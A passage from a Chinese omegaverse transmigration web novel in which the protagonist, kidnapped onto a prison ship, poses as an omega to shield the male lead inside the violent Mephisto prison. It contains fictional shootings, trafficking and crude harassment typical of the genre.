纤长的眼睫颤动间,被人细细舔舐。 带着隐忍的贪婪欲/望 玻璃花房中。 祁温捧着花站在那里,明明已经站了几个小时,身体各处早已传来不堪重负的呻吟。 但是他依然目光温柔的注视着坐在白色秋千上的少年。 他在画他。 红色的颜料被湿漉漉的笔在调色盘上晕开,修长白皙的手按照他教导的那样握住画笔,点在画布上。 完成了最后的一笔。 楚青琅松了一口气,放下笔抬头看着祁温,“好啦,现在你也有画了。” 祁温抱着画走来,弯腰吻住他的唇瓣。 花朵被两人的胸膛挤压出汁液,染在衬衣上,肌肤上,大片大片的。 “我们给他挂起来好不好,等我给你画出另一张。” 楚青琅推他。 “你不累的吗?” 男人执着的捧着他的脸,蹭着他的鼻尖。 算了,只是小事。 反正另外的两张画也被男人扔了。 挂就挂吧。 楚青琅后仰身子,精致的面孔带笑,阳光洒落,衬得他纯洁又无辜。 “先生,那要看你能不能让我满意呀。” 祁温呼吸粗重一瞬,缓缓跪了下去。 * 楚青琅推开房门,走到床头柜将手中的花插进花瓶中。 身后灰色的墙壁上挂着两幅隔空对视的画。 画框将两人分割,但是那凝视的视线却依然交缠在一起。 楚青琅将窗帘拉开。 无名指上红宝石清澈,流淌着浓郁光芒,紧紧束缚着他的指根。 仿佛标记。 是属于他的。 祁温的眼神是惊人的幽暗。 他目不转睛的跟随着楚青琅的动作,最后伸手拽了下他的衣角。 “小乖还会记得我吗?” 楚青琅拨弄了一下花瓣,顺势坐下。 结婚后,男人的生命力以肉眼可见的速度流失着。 直到现在,他甚至无法坐起来,只能虚弱的躺在床上。 楚青琅轻轻的握着他的手,垂下眼皮说:“才不会。” 胸膛仿佛破了一个大洞,风呼啸的刮过,不疼,只是茫然。 祁温撑起身子,在青琅的额头上烙下吻。 像初见时那样,弯曲指尖在他的掌心上挠了一下。 “忘了也没关系。” “我总会找到你的。” 男人话语轻飘飘的,但是里面蕴含着无法令人忽视的偏执。 楚青琅原本有些低沉的心情立刻被安抚好。 他昂着头,克制不住的弯唇笑起来,灿然如光。 “最好别让我等太久,不然,我就不要你了。” “不会让你等。” 祁温笃定说。 …… 像做梦一样。 …… 楚青琅看着男人闭上眼,胸膛的起伏逐渐消失。 他来到窗前,看着外面绵延的森林。 打开了系统面板。 【是否返回主神空间。】 【是。】 第64章 第 64 章 交换。 【滴——】 【检测到时空隧道发生扭曲, 启用备案——】 【启动失败——重新启动——】 【失败……主神……遭受攻击……】 又一声警报声后。 楚青琅只觉得灵魂进入到了漩涡中,眼前满是扭曲的画面。 他艰难的蜷缩着身子,想要抵抗着那种眩晕,却只是徒劳。 发生什么了? 主神空间怎么会被攻击? 无尽的下落中, 楚青琅终于找到了触底的感觉, 在这一瞬间, 一股疼痛顺着胸腹绵延到咽喉, 他被呛的咳嗽了一声。 “青琅?!” 担心的声音响起,一个人推了推他。 耳边乍然响起威胁嬉笑声。 “不是说有一个omega吗?这个小白脸长得是好看, 但是没有信息素啊,那个家伙不是蒙我们的吧?” “那家伙?怎么可能?也不看看我们要omega是给谁的,他还敢私自克扣?” “那家伙胆子比鸡崽还小,给他八百个胆子也不敢骗我们,要不是那位易感期要来了, 谁他妈在大街上绑架omega啊。” “呸!狗玩意做事也不做利索点,把他给我带进来,找不到omega给他碎了!” 那些人在找着什么, omega是什么东西? 他像是被踹了一脚, 力道很大, 这个身体应该只是普通人,到现在还没有缓过来。 楚青琅忍痛蜷缩着, 悄悄睁开了眼。 地板油腻腻的, 周身有着轻微晃动的感觉,像是在海上,两边是木箱子,通过气味楚青琅分辨出来是酒水。 木箱子前有着不少的年轻人被绑着双手,一脸的惊恐。 光线昏暗, 不远处是是穿着不知道什么制服的男人们,将窄小的房门几乎堵死。 一个人正蹲在他的身旁,双手被绑。 就是他叫着他的名字。 楚青琅斜眼望去,却只看见一张下颌紧绷,抿唇隐忍的侧脸 这是谁?现在什么情况? 上个世界他绑架别人,现在轮到他被别人绑架了? 楚青琅瞬间意识到不对,这个情况怎么这么像他来到了小世界? 如果是这样,记忆怎么到现在也没有给他传递过来? 他打开系统面板。 看见那熟悉的面板,楚青琅瞬间松了一口气。 还好系统面板还能用。 就是有点闪烁,就差发出滋啦滋啦的声音了。 【您已提前进入新的考核世界。】 【考核任务:1.活下去,2.帮助主角攻周峥在墨菲斯特监狱里立足。】 因为第一次碰到这种情况而产生的茫然褪去,楚青琅条件反射的分析起任务来。 只要有任务,他就有了目标。 总的来说,这个任务还是给楚青琅不少的信息。 第一个就是他们现在应该是在去监狱的路上,第二个则是这个监狱很危险。 至于记忆的话,估计要等到到环境安全才会给他传过来。 “学长,你怎么样了?” 身旁的人发现他呼吸已经平静下来,连忙低声询问。 楚青琅看了一眼他,想起自己的任务,他猜测这个人就是主角攻了。 “我没事,阿峥。” “没事就好,等下学长你别说话了,他们找的是我。” 周峥并没有对他的叫法产生疑问,此时的他早已被愤怒彻底占据了大脑。 那些人说要找omega,这些人里只有他是omega,他们要把他献给谁? 能用上献这个字眼,如果他真的被发现了omega的身份,到时候的下场可想而知。 而且墨菲斯特监狱在分明是关押重型犯的地方,这些警卫人员怎么还敢买卖人口?! 监狱长和监察部都是吃白饭的吗?! 周峥咬紧牙关,微微上前,试图用自己的身体将楚青琅挡在身后。 还好他提前打了抑制剂,所以没有让这些人嗅到信息素… 堵着门的人们手中都拿着枪。 身材魁梧,看起来都是alpha和beta,该死的,完全不能冲出去,alpha的体质比omega强大太多了。 要不是他是omega……他为什么会是omega…… 周峥死死盯着那些人,满眼的不甘和戾气。 楚青琅看了一眼主角攻微倾的脊背,和正在灵活的解着绳子的双手。 那些人很有可能去找人来辨认了,如果真的像周峥说的那样,那些人是找他的,那么周峥现在很危险。 虽然不知道什么是omega,但是楚青琅莫名觉得这个词有点别扭,在这里应该不是什么好的标签。 “砰!!!” “集合!!!” 不远处传来枪响声,尖锐的警报声后,是一声厉喝。 堵在门口的人瞬间警惕起来,转身朝着外面走去。 “该死的!那些渣滓就不能安分点?” “切,来到这里谁不害怕,要不是给他们带上了生命检测仪,能自杀的早就自杀了。” “别说话了!快来!!” 最后一个人出去,门被猛的带上,仅剩下几道光芒透过门缝挤来。 影影绰绰的,楚青琅听见不少人松了一口气的声音。 挡在他身前的主角攻在这一瞬间将绳子解开,撑着地深呼吸了几下,转身就过来将他扶起,为他解起来绳子。 眼前的系统面板闪烁。 【是否接收记忆?】 确实是检测到他安全了才会传送记忆。 楚青琅选择接收,一阵记忆洪流猛的灌入脑海,他冷静的忽视疼痛,翻阅着有用的信息。 这个小世界一共有着六种性别,第一性为Alpha、Omega、Beta,第二性征为男女。 原主是一个伪装成alpha的omega。 因为原主上的是军事学院,而omega除了后勤外并不被允许学习战争课程,原主不甘心,就伪装了性别。 至于和男主攻的来往,也是因为他发现了男主攻同样是伪装了身份的人。 原主生了欣赏之意,所以才和男主攻约着出去看新出的武器展览,准备互相坦白,顺便传授一些经验。 谁知道半路被人劫走,还打包送进了去往墨菲斯特监狱的警船上。 楚青琅简单了解了一下,随后震惊的睁大了眼,他为原主记忆中书本上描写的生殖腔而震撼。 这个意思是,主角攻还能生孩子? 楚青琅又打开了一齐传送过来的剧情,上面确实写的是主角攻——周峥。 没有错误。 单纯的系统有些茫然的将视线落到了周峥的身上,格外看重了一下他的小腹。 他现在明白了为什么周峥当时听见那些人要找omega的时候那么紧张了。 周峥感受到视线,看了过去。 只是这一眼,他就被靠在墙上的青年给摄住了心神。 青年白肤红唇,眼睫密长于眼尾飞出,眼眸含情,望过来总是水波粼粼的,就仿佛他是他最为深爱的人一般。 但是他的神情却又是相反的冷淡漠然,便加上了禁欲克制的气场,只是因为疼痛,眼尾飞上了浅淡的红。 却只让人感觉到一股破坏欲自心中油然而生……相比起他这个身体健壮,看起来冷硬的人来说,学长到更像是一个omega。 周峥攥了攥手,暗暗的唾弃了自己一声。 怎么能这样想,学长分明是被他连累的,而且在这里,就算不是omega,也一样危险。 他上前小声询问:“学长,你要不要伪装一下?” 学长长得太好看了,他有点担心…… 楚青琅用复杂的视线瞧了他一眼,没有接话,只是说:“你是omega?” 周峥目光闪烁了一下,还是抬起头,盯着他道:“是,我等会儿会自己站出去,对不起学长,是我连累了你。” 你站出去还能活吗? 楚青琅闭了闭眼,他看了看周围的人,伸手将人拽到自己的面前。 “我有办法,安静,别打扰我。” 周峥惊喜的看着他,一脸的信服。 “真的吗学长?” 楚青琅懒洋洋的瞥他一眼,伸手在唇间竖起食指。 看着周峥连忙低头,楚青琅放下手靠在墙上摸了下无名指。 白皙的手指根部空空荡荡,但是活动间,楚青琅竟然依然能感觉到那种无形的束缚。 错觉吧。 毕竟小世界的东西是带不走的。 不知道他在那里?现在主神空间出现问题,他怎么才能找过来呢? 楚青琅压下思绪,开始想这个保姆要怎么当。 系统要他活下来,还要带着主角攻活下来。 那么他就不能一直处在底层。 在监狱中,要么自身武力高强,他如果真的是顶级alpha,一进去就可以打服其他人自己当老大。 要么就是找一个大佬依靠,出卖色相或者智商。 但是现在的情况,不容许他寻找漏洞让他展露才华。 楚青琅摸了摸后颈,指尖传来斑驳触感。 那么就只有一个办法了。 就是他替主角攻当那个omega了。 毕竟原身可比主角攻狠多了,在决定伪装的时候就把自己的腺体给破坏了。 没了腺体,代表着他失去了精神抚慰的能力,也不会轻易嗅到信息素,但是这也同样代表着他不再会被欲/望控制。 因此除了专业的检测仪器检测,他说他是什么性别,他就是什么性别。 那些人应该是要把他献给被叫做“那位”的人,听起来那个人的地位应该很高,所以这段时间他是可以扯着那个人的虎皮来自保。 这样,在真正见到那个人之前,他应该不会碰到什么危险。 只要这段时间过去,他有信心主角攻会找到监狱的漏洞,他们上下联合,绝对会打造出新兴势力,在监狱里保全自己。 楚青琅想清楚之后,瞥了一眼紧闭的房门,倾身凑到主角攻耳边缓缓把计划讲了出来。 周峥越听面上的表情就越震惊,他下意识的拒绝。 “学长!不行太危险…” 楚青琅抬手拍了一下他的嘴,语气轻柔,“现在情况已经这个样子了,难道你真的想进去被人干,给人生孩子吗?” 周峥张了张嘴,鼻尖是指尖的学长甜蜜的玫瑰香气,那双勾人的眼睛正近距离的逼视着他。 就算是说这么粗俗的话,学长也依然好漂亮。 周峥脑袋一片混沌,他摇了摇头。 他之所以伪装自己的身份,就是不甘于那种只能为人附庸的结局。 楚青琅挑眉,又拍了拍他的脸,随后指了指自己。 “我是alpha,再怎么样也比你安全。你进入监狱就尽快了解情况,我相信你的策论没有白学,就当这是一场实战演习,我是先行兵,明白吗?” “我知道了。”周峥哑声道:“学长,你一定要保重自己。” 楚青琅哼笑了一声,站起身掀开衬衣看了一眼胸腹上的伤口。 白皙的腹部整齐排列着八块腹肌,线条利落,精瘦而富有爆发力。 但是就这样的身体,在那些alpha的面前,却挨不了一脚。 那些alpha,究竟是什么怪物? 楚青琅按了按已经变成青紫色的伤痕,嘶了一声。 在所有人的视线中,他就这样将衬衣大剌剌的敞开,撬开了一桶酒,伸进去撩了一把酒水擦拭了一下伤口,顺便洗去了面颊上面的灰尘。 既然要抬高身价,他当然要把自己打扮的干干净净。 …… 门再一次的被打开。 一堆穿着警卫装的人鱼贯而入,带来一阵的血腥气,新鲜的。 走在最前面的人揪着一个beta的领子,扔到被绑着的他们面前。 咔哒一声,枪口对准了那个瘦弱的beta。 “说,omega在哪?” beta额头瞬间冒出冷汗。 将人交给他的人只是说omega在这里面,却并没有给他说名字或者样貌。 而且现在已经接近了墨菲斯特监狱,岛上的信号屏蔽仪器会阻止所有信号。 他尝试过发送信息,也尝试过走官方通道却都是失败。 狗屎! 要不是那位易感期,岛内的警戒拉到了最高,按照平常他绝对可以联系上的! beta咽了下口水,目光在昏暗的室内极速扫视着。 但是昏暗的酒窖内完全看不清人的脸,再加上被绑的人都是一副畏缩的模样,而omega都是一些长得漂亮脾气傲气的家伙。 这里面有哪一个像?! 坚硬的枪口顶了顶他的头颅,身后传来阴森森的警告。 “三秒钟,选不出来你就下海喂鱼吧。” alpha都是狗屎! “一。” beta咬了咬牙,正准备转身哀求,余光却突然瞧见了一只手。 皮肤洁白,些微的阳光打上去,衬的宛如玉石一样。 这只手非常符合他对于omega的想象。 beta双眼一亮,他连滚带爬的起来,将挡在身前的alpha推开。 “就是他!” beta兴奋的指着他说。 举着枪的男人挥手,身后的人立刻走了过去,将人带了过来。 “放开我!你们这些下贱的东西!” 随着青年挣扎着被架过来,一张俊美的脸出现在了众人面前。 那双桃花眼中满是惧意,却仍然扬着头,梗着脖子一副傲气不服的模样。 非常符合众人对于omega的刻板印象。 领头的人走过去,掐起他的下巴左右看了看,最后俯身嗅了一下。 下一刻,他抬头,猛地举起枪对着一副得救了模样的beta。 “二。” beta瞪大眼,他嗫嚅道:“不……不可能,就是他。” 男人并没有解释的意思,只是弯曲手指就要扣动扳机。 被架过来的青年却猛地抬脚踹了一下男人。 “狗东西!闻什么闻!” 男人纹丝未动,他低头,眼神凶厉,缓缓的将枪移到了青年额头上。 他问:“你是omega?” 青年呆了一下,偏头,“我不是。” beta也在这时反应过来,虽然不知道青年的身上为什么没有信息素的味道,但是这不妨碍他找借口。 “刀疤,应该是他上来前被打了抑制剂,消除了信息素。您也知道,omega的信息素一旦泄漏,会造成什么结果。” 被叫做刀疤的男人仔细打量了一下青年,缓缓点了点头。 抓着青年的两个alpha连忙松开了手,站到了一旁。 楚青琅哼了一声,揉了揉自己的手腕。 是的,就是这样。 果然,为了活着他会自动给他补足理由。 楚青琅心中微松,面对这些人,他除了一张脸,就只有努力扮演alpha对omega的刻板印象外。 漂亮,傲气,却又没有攻击力。 枪口缓缓下移,挑起他的下巴。 硝烟气息弥漫。 青年被迫昂着头,身躯倏然僵硬。 刀疤说:“你是omega?” 青年没有回答,一边穿着制服的人极为有眼色的走到beta的面前。 “砰”的一声,直接将人给干掉了。 血腥气瞬间浓郁起来,身体倒地的声音传来。 楚青琅猛地抖了一下,桃花眼融着点点碎金,下眼睑晕着红,仿佛要哭出来一般。 “我是。” 刀疤凑近,呼吸粗重。 “你是什么?” 楚青琅咬牙,“我是omega!你没听见吗?混蛋!” 刀疤咧开嘴,手一动,枪支就消失不见,他背对着阳光,阴影全然笼罩在青年身上,带来莫大的压迫感。 “你最好是。” 他转身,快步离开这里。 “跟我走。” 楚青琅只来得及和主角攻对视了一眼,还没看清表情,就被推搡了一下,只能跟了上去。 从那个房间出来,一行人又向上走了几层才来到甲板。远处墨蓝的天空和大海几乎连成一片,中间伫立着一个孤零零的岛屿。 看起来就像是此行的目的地。 甲板上零散的站着穿着制服手拿武器的alpha,地上还残留着未被清理掉的鲜血。 一个个带着脚镣手铐的囚犯被抢顶着脑袋安静的从船舱中走出来。 他们才是这艘船运送过来的犯人,而困在酒窖里面的人,应该都是被人口买卖过来的。 楚青琅回想了一下那些年轻人的面容。 不说很惊艳,至少都是清秀。 身前,刀疤停下脚步,抬手从腰间抽出一个布袋子,递给了身旁的人。 他转身,楚青琅第一次看清他的面容。 寸头,单眼皮,一道伤口划过他的眉绵延到脸颊,狰狞疤痕看起来异常凶厉。 他看着青年,就像是看着死人。 刀疤脸从兜里摸出一根烟点燃,缭绕而起的烟雾模糊了他的面容。 下一刻,黑布套上脑袋,视线一片漆黑。 楚青琅暗暗啧了一声。 还真是敏锐,估计发现了他的不对。 估计想着他在易感期的那位面前活不下去,才懒得拆穿他。 第65章 第 65 章 洗吧。 轻微的震动声后, 船靠岸。 楚青琅听见一阵金属碰撞声,身后传来推力,接着一只手隔着衣服拉住他的手臂,带着他走下楼梯。 他想所有来到这座监狱的人应该都是这样。 在踩到坚实的土地后, 楚青琅又坐上了一辆车子, 意外的, 他的两旁并没有安排人看守。 至少楚青琅并没有听见除了司机之外的呼吸声。 车子东拐西拐, 就算是有人刻意记下了路线,在这个四面都是海的监狱, 也无法逃脱。 “例行检查。” 悉悉索索,纸张的摩擦声,还有玩打火机盖子的啪嚓声。 “放行。” 这座监狱看守格外严密。 楚青琅经历了许多类似的检查,因为面罩并未被摘掉,所以只能依靠听力, 此时他才发现,除了司机,车上应该还有一个人。 想来人就是那个刀疤。 只是不知道要带他去那里。 车子的摇晃渐渐减轻, 路好走了许多, 又开了一段时间后, 车子终于停了下来。 楚青琅被人拽下车,黑布袋也一齐被拽掉, 发丝落下打在脸侧。 金属般冰冷的白光穿透眼皮, 他不禁偏了下脸。 他所处的正是一座宽阔的广场,墙壁一面挂着细密的铁丝网,方正的房子组成十字通道,分别通往幽暗深邃的城堡监狱。 这里应该是放风的地方。 夹着烟的刀疤瞥他一眼,说了最长的一句话。 “走。最好别让人看见你, 不然还没让那位满意,你就会被彻底撕碎。” 楚青琅看着他强装镇定的冷哼了一声。 “等我回去,我要去omega保护协会还有中枢告你们!” 刀疤叼着烟,呵了一声,转身向着监狱内部走去。 青年被他一副无所谓的模样气到,回身踹了一脚在一旁看戏的司机,然后怒气冲冲的跟了上去。 “还真是个少爷。” 莫名被踹的司机,拍了拍裤腿小声嘟囔。 “生气也好看,可惜。” 穿过挂着危险标志的铁丝网,楚青琅走进了通道大门,里面的通道出乎意料的干净,厚实的砖石冷硬,气温突然降低,他没有忍住打了个寒噤。 身前的人一直没有说话,又过了一扇门之后,两人上了楼梯,走进一条长长的通道,格外窄,让人喘不过来气。 头顶脚下满是令人目眩的铁质的楼梯,就连灯光都是昏黄闪烁。 就在青年要忍不住的时候,刀疤终于停下了脚步。 他掏出钥匙,依此打来了门上的三个门锁,然后哗啦一声将门打开。 “过来。” 青年走过去,只瞥了一眼就变了脸色,“你要我住在这里?!” 单人间,床铺上放着一套灰色的狱服,小小的一块窗口框着一小片的天空,月光照在地上,显得地砖黑亮。 但是这对于从小娇生惯养的omega来说,还是太超乎想象了。 青年瞬间黑了脸,他转身就要走。 “我要见监狱长!你们虐待omega!!” 刀疤抬脚踩在门框,挡住他,又露出那种讥笑。 “要么,你就和那些Alpha一起住,然后□□烂生殖腔,要么,就乖乖呆在这里。” 他向楚青琅吐出烟雾,说:“自己选。” 这句话怎么这么熟悉? 青年捂着鼻子后退了一步,看了眼外面暖黄的光芒,隐约间,仿佛听见了一声凄厉的喊叫。 就此开始,各种嚎叫和歇斯底里的笑声响彻云霄。 “杂碎!来点新人这么高兴。” 刀疤啐了口,放下腿,没有在意他的回答,站直把门哐的关上。 就在楚青琅以为他离开的时候。 门上的探视口被唰的打开,那带着刀疤的脸露出半张,重新出现。 “任何人敲门都别开。” 楚青琅上前一步,皱着眉说: “这里没有洗漱的地方。” 砰的一声,探视窗口被重新关上,随后就是上锁的声音,刀疤根本不在乎他在说什么。 脚步声远去。 楚青琅瞬间收敛了表情,转身把床拉过来,踩在床上透着那个窗口向着外面看去。 这个监狱的窗口正好能够看见进来的地方。 成排的灯光照亮了空旷的地面,并不像他坐的那种轿车,别的犯人坐的都是十几个人的囚车。 车门被打开,一个个犯人仿佛蚂蚁一样被转移下来。 穿着制服的狱警接过名单,挨个叫着他们的名字。 随后,在众目睽睽之下,让他们将所有的衣服都脱了下来,现场换上囚服。 “屁股撅起来!!” “beta表子们给爷晃两下胸!!” “啊哈,那个Alpha看起来真棒!!!” 早已经被关在监狱里面的犯人起哄的声音愈发大了起来,还有一些布条或者什么乱七八糟的东西被扔下。 一旁举枪看守的狱警对此习以为常,甚至没有人抬头。 而那些犯人对这个命令并没有拒绝,只是一会儿,就多出了一些白花花的肉/体。 楚青琅暗骂了一声,Omega的身体结构和Alpha完全不同,如果主角攻穿着衣服凭借他那副样貌说自己是Alpha别人还能相信。 但是一旦彻底脱光,就会彻底暴露。 这样他还怎么让主角攻活下来,顺便在这个监狱立足? 很快,他就看见了一个熟悉的身影从囚犯中走出来,领过衣服后,站在众人面前,开始缓慢的解起了扣子。 是主角攻——周峥。 楚青琅深呼吸了一口气,就在他准备叫人的时候,所有囚车的车灯都突地暗掉。 除了自然的光芒外,整个场地一片乌漆嘛黑。 “砰砰砰!” “抱头蹲下!!” “安静!!!!” 枪声瞬间响起,狱警警告的声音声音高昂,夹杂着囚犯地哄笑声还有下面新人的尖叫声,场面混乱极了。 楚青琅心中有了猜测。 下一瞬,灯光重新亮起。 刀疤带着枪出现在下面,随着他的扫视,除了被狱警按住的人们,都倏地安静下来。 而主角攻,已经换好了囚服,规矩的站在原地。 楚青琅盯了他一会儿,默默的将当保姆三个字在计划中划去。 看来主角攻能够成为未来莫菲斯特监狱的无冕之王也是有原因的,他不需要时刻关注,只需要推波助澜就好。 广场上,囚犯们很快就恢复了秩序。 下一个人也走了过来开始脱起了衣服。 楚青琅收回视线,将床重新推回去,拿起床上灰色的囚服嗅了一下。 是干净的。 他随手将囚服扔到一旁,躺在床上闭上了眼。 现在算是暂时性的安全。 楚青琅不自觉的摸着右手无名指,重新打开系统面板试图联系主神空间。 只是系统面板上只有任务显现,无论是发送信件还是别的功能,都完全是用不了。 楚青琅只能放弃,转而翻阅起记忆和剧情来。 传给他的剧情一般都是从主角攻和主角受相遇之后,而他现在所处的时间点都是剧情开始之前,所以剧情没有什么太大的作用。 但是先前存在的人物,总能存在一些蛛丝马迹。 楚青琅要找的就是在主角攻崛起之前,被称做‘那位’的人。 应该是Alpha。 无论找到什么信息,对于现在两眼一抹黑的情况来说都是有利的。 只要搞定了他,楚青琅就能接着完成自己的任务,顺便等待和主神空间恢复联系。 楚青琅几乎称得上一字一句的看着剧情,生怕漏了哪一点。 最终,也只让他找到一句疑似那个人的对话。 【周峥:“也多亏了他死前几乎杀光了那些人,我才能掌控莫菲斯特,不是吗?” 男人的手用抢划动着Alpha的面颊,话语亲密缠绵,另一只手却毫不留情的击穿了Alpha的心脏,鲜血顺着手腕流淌。男人将心脏掏出,把玩。 周峥:“西瑞尔,你们总是如此可悲。”】 西瑞尔? 楚青琅长久的凝视着这个名字。 结合剧情,大概就是说有人因为易感期无法疏解,所以彻底发疯杀空了莫菲斯特监狱,主角攻因此崛起然后西瑞尔又被主角攻杀死了? ‘他’和西瑞尔是两个人,毕竟主角攻称呼是‘你们’。 不过不管如何,西瑞尔也是个重要的人物,至少能够和‘那位’扯上关系。 现在,他需要一个充足的睡眠,估计明天就要见到‘那位’了。 * 门外传来金属碰撞的声音。 靠在墙上的楚青琅猛地睁开眼,刀疤端着洗漱用具进来,看见他坐在床上有些惊讶。 还没等他说话,楚青琅就瞬间沉下了脸,“这个床硬死了,还有一股子馊味,没有新衣服吗?为什么要我穿别人穿过的?还有,我要洗漱,卫生间在那里?” 刀疤将视线从被扔到角落上面的衣服收回,他扫视了一下青年。 青年穿着布料高级的衬衣,长裤尾端还用银线绣着花卉纹路,蓬松的发丝凌乱的搭在额上,桃花眼带着怒意横来,矜贵又漂亮。 他踢了一下铁门,看着青年哑声说:“如果你今天晚上活下来了,你说的一切,当然都有。” 楚青琅皱眉,他站起身,下了床。 “你说的什么意思?” 刀疤不耐道:“别装傻,到时候发挥你omega的特长就行了,现在,换上衣服。” 看着青年还要张口,刀疤直接举起了枪。 “在这里太特殊,你是觉得自己活的时间太长了?” 楚青琅同意他说的话,但是表面他还是不情不愿的:“你转过身去!” 刀疤举枪对着他,一动不动。 楚青琅直接上前,板着他的肩膀将人板了过去。 随后直接在衬衣上套了囚服。 “好了,这布料太粗糙了。”青年拉开袖子,展示上面的红痕,“我会过敏。” 刀疤脸微红,转身嗤了一声,将手中的洗漱用品直接放到了一旁。 “洗吧。” …… 楚青琅坐在饭堂二楼,等着刀疤盛饭。 墨菲斯特监狱饭堂分成两个部分,一楼是犯人用餐的,二楼是狱警用饭的地方。 相比起楼下清汤寡水的,楼上的伙食好的不得了。 但是除了穿着制服的狱警,楚青琅还看见了几个和他一样穿着囚服的人。 啪的一声,刀疤将餐食放下,跨了一步直接做坐在他的对面。 楚青琅仔细看了一眼,不满的嘟囔:“这些都是什么啊?怎么这土豆跟呕吐物一样?肉也是,一看就很老,蔬菜都蔫了,还有水果洗了吗? 他又看了一眼不远处的穿着囚服的人,用鞋尖踢了踢刀疤,“喂,回答我的话。” 刀疤的手一顿,他抬起头,眉眼距离极近,肌肉撑满制服,看起来很吓人。 但是楚青琅并不害怕他,又踢了一下他。 刀疤放下勺子,冷冷道:“不吃就饿着。” 楚青琅嫌弃的把饭推远,撑着下颌歪了歪头,他桃花眼微弯,指着一旁穿着囚服的人懒洋洋道:“他们是谁?我要吃他们吃的。” 刀疤说:“都一样。” 青年一句话能拐个十八弯,艳红的唇勾起,湿濡的舌若隐若现。 “不一 样~”他说:“还是你不敢?” 刀疤掀起眼皮,盯着他,“他们是四大家族的人,你最好别惹。” 四大家族,冯、科瑞,亚撒、夏,他们暗中掌控着整个国家。 就算只是分支,在一个监狱里面,也可以让他们作威作福了。 楚青琅眯了下眼,接着问,“那你不是说我只要活下来,就可以想要什么就有什么吗?四大家族,也不敢惹那位吗?” “……” 刀疤像个蚌一样,一旦涉及那位,就什么消息也不肯透露出来。 楚青琅改踢为踹,看着刀疤看来的目光,直接瞪了回去。 “omega?是omega吗?” “马上就是那位的易感期了,这时候进来还被刀疤领着,怎么看都是omega。” “我们又能享福了哈哈哈哈感谢那位,要不是他挑剔,我们哪能享用这么好的玩意儿!” “我c长的真好看!这小腰,这腿……” “就算是Alpha我也可以啊!!” 楼下分列去打饭吃饭的犯人仰头,放肆的对青年吹着口哨。 那下流的态度和表情,要不是刀疤坐在他的面前,楚青琅觉得他们会直接上来扒他的衣服。 他虽然不在意,但是一旁排队去吃饭的人却是忍不下去了。 “谁让你们说他的?!” 周峥眼中满是怒火,直接伸手就抓住已经解开裤子的人打了起来。 他毕竟是军校出来的,平常在学校也不少打架,虽然是omega,但是猝不及防下,那个Alpha还是直接被按在地上锤。 但是等到Alpha反应过来,周峥还是很快就挂了彩。 但是他就像是一只咬住猎物就不松口的鬣狗,眼中满是沉郁已久的杀意。 要同归于尽似的。 周围吃饭的人并没有上前帮忙或者制止,都坐在一旁,拍着桌子为他们加油助威。 楚青琅被吸引了注意力,垂眼就看见楼下的动静,也认出来了那个一脸怒火的主角攻。 他暗暗无语。 这就是主角光环吗?走到那里都会惹事? 他抄起餐盘,直接朝着下面扔了过去。 恰好主角攻将一个Alpha打到了离他不远处的地方,于是那餐盘就直接扣到了光头Alpha的头上。 “谁?!” 光头Alpha带着一脸食物狰狞的抬头。 看见栏杆处的青年,怒火瞬间爆发,“你个贱人,等你被扔出来,你看老子怎么弄死你!” 青年漂亮的脸微白,仿佛被吓了一跳,随即有可怜兮兮的道:“真的吗?那我道歉好不好?” 因为学长插手,周峥下意识站在一旁没有出手,闻言,他下意识反驳道:“学长是我的错,你别……” 光头Alpha冷笑一声,“现在认错,晚了!我告诉你,我可是科瑞家族的人,你最好现在给我滚下来跪着磕头,求我。” 青年却表情一收笑出了声。 桃花眼弯起,灿烂又迷人,他居高临下的睨着他们。 衬得光头小丑一般,他更加气愤起来,张嘴就要开骂。 “砰!” 一声枪响猛地响起。 光头带着震惊的表情仰面倒下。 周围欢呼的人瞬间哑火,看着青年趴在栏杆处,用食指勾着枪晃。 “别这么凶嘛~对待omega要礼貌。” 这是omega? 分明是一个疯子。 妈的,更性感了。 楚青琅缓缓放下枪,将其推给了刀疤,看着望来的人眨了下眼,“你的枪自己掉的喔,我不小心捡到的。” 他笑吟吟说:“谁让你不说的,我真的很好奇嘛,你说我要是杀死了四大家族的人,他们会不会来找我的茬呢?谁的势力更大呢?” 开蚌总要用点工具,刀,锤。 逼一下才会漏出软肉。 余光中,那些原本安稳坐着的穿着囚衣的人朝他们走来。 刀疤只是沉默的收回枪,检查起子弹来。 “滋——” 桌子被一只脚踹开,金属桌角划过地面,发出刺耳尖音。 紧随而来的是Alpha爆裂的信息素,瞬间笼罩整片空间,恐吓威势让楼上楼下的beta狼狈跪到在地。 下一瞬,另一种浓烈的烟味与其分庭抗争。 桌子连着凳子,中间的倾倒的横杠差点将楚青琅带倒,刀疤按着桌子,将桌子平稳,楚青琅敏捷的跳了出来。 蓬松柔软的发垂在眉上,弯曲的桃花眼看过去,面颊带着不自然的红。 虽然没有了腺体,但是omega的身体还是会对Alpha的信息素感到不适。 他朝楼下瞥了一眼,看见周峥峥努力挺直脊背,双手紧紧攥着,目光愤怒又不甘。 放出信息素的Alpha面容清俊,但是面上的纹身却让他染上了几分诡谲。 刀疤用枪嗑了嗑桌面,看着他说:“花面,这是要送给那位的,你最好收回你的信息素,科瑞家族也不想再一次被狙击吧?” 花面扭了扭脖颈,不耐的冷嗤一声,“那位又怎么了?他还没过夜呢,估计到时候也是被扔出来的命。” 话音落下,他猛地冲了上来。 铛—— 刀疤翻身落在楚青琅的身前,举枪挡住他的攻击。 “但是现在,他依然是那位的东西。” 两股信息素碰撞,Alpha对Alpha本能的排斥勾起体内的杀意,两人眼眸瞬间红了起来。 “锵——” 属于Alpha的厮杀快速又可怖,枪和指虎碰撞出清脆利响。 楚青琅甚至看不清他们是怎么交手的。 哇哦,这就是Alpha的战斗力吗? 最后一击落下,金属表面擦出刺眼火花。 两人分开,刀疤却依然护在楚青琅身前。花面缓缓收回攻势,神情森寒。 他说:“看在那位的面子上。” 周身的压力猛地增大,又陡然散去,他挥手带着一齐跟过来的人离开。 站在楼梯口前,花面眼珠转动,看着懒散站在一旁的楚青琅,语气阴戾。 “小鬼,你最好别落在我手上,我的兄弟们可是很缺omega的。” 楚青琅挑眉,仿佛什么也没感觉到一般,他笑眯眯的看着那些人朝着楼下走去,“拜拜~记得收尸哦~” 花面收回视线,转身离开。 楚青琅看见他们一行人来到倒地的光头身边,却连眼神都没给一个。 看起来,那位在墨菲斯特监狱里,真的是地位最高的存在。 “唔——” 巨力传来,楚青琅闷哼了一声。 刀疤回身揪着他的领子,语气冷漠。 “你适应的很好,但是少他妈的给我找麻烦!” 楚青琅被压在栏杆处,姿态放松,哪怕半个身子几乎跃在空中,也没有丝毫紧张感。 